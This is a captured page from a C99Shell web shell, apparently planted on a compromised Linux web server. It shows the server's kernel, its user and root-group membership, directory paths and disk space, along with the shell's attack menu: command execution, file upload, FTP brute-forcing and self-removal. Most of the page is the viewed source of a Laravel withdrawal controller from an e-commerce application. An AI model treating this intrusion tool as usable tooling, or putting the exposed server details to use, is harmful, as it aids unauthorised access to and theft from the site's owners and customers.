!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/   drwxr-xr-x
Free 27.26 GB of 117.98 GB (23.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WithdrawalController.php (2.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WithdrawalController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 20-02-2022
 */

namespace App\Http\Controllers;

use 
App\DataTables\WithdrawalListDataTable;
use 
App\Exports\WithdrawalListExport;
use 
Illuminate\Http\Request;

use 
App\Models\{
    
Transaction,
    
WithdrawalMethod,
};
use 
Excel;

class 
WithdrawalController extends Controller
{
    
/**
     * Withdrawal List
     * @param  WithdrawalListDataTable $dataTable
     * @return \Illuminate\Contracts\View\View
     */
    
public function index(WithdrawalListDataTable $dataTable)
    {
        return 
$dataTable->render('admin.withdrawal.index');
    }

    
/**
     * Withdrawal edit
     * @param Request $request
     * @param int $id
     * @return \Illuminate\Contracts\View\View
     */
    
public function edit($id)
    {
        
$data['withdrawal'] = Transaction::getAll()->where('id'$id)->first();
        return 
view('admin.withdrawal.edit'$data);
    }

    
/**
     * Withdrawal update
     * @param Request $request
     * @param int $id
     * @return redirect view
     */
    
public function update(Request $request$id)
    {
        
$validator Transaction::updateValidation($request->all());
        if (
$validator->fails()) {
            return 
back()->withErrors($validator)->withInput();
        }
        
$response = (new Transaction())->updateData($request->only('status'), $id);

        
$response['message'] = $response['status'] == 'success' __('The :x has been successfully saved.', ['x' => __('Withdrawal')]) : $response['message'];

        
$this->setSessionValue($response);
        return 
redirect()->route('withdrawal.index');
    }

    
/**
     * Withdrawal list pdf
     * @return html static page
     */
    
public function pdf()
    {
        
$data['transactions'] = Transaction::getAll()->where('transaction_type''Withdrawal');

        return 
printPDF(
            
$data,
            
'withdrawal_list' time() . '.pdf',
            
'admin.withdrawal.pdf',
            
view('admin.withdrawal.pdf'$data),
            
'pdf'
        
);
    }

    
/**
     * Withdrawal list csv
     * @return html static page
     */
    
public function csv()
    {
        return 
Excel::download(new WithdrawalListExport'withdrawal' time() . '.csv');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--